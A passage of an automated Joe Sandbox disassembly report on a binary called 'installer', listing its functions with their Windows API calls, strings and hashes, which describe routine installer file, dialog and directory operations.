Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
M, xrefs: 00404B43
N, xrefs: 00404C06
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

A, xrefs: 00404636
@%F, xrefs: 00404674
82D, xrefs: 004046DB
@rD, xrefs: 00404610

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
\*.*, xrefs: 00406D03
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile("%s"), xrefs: 00406DBC
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
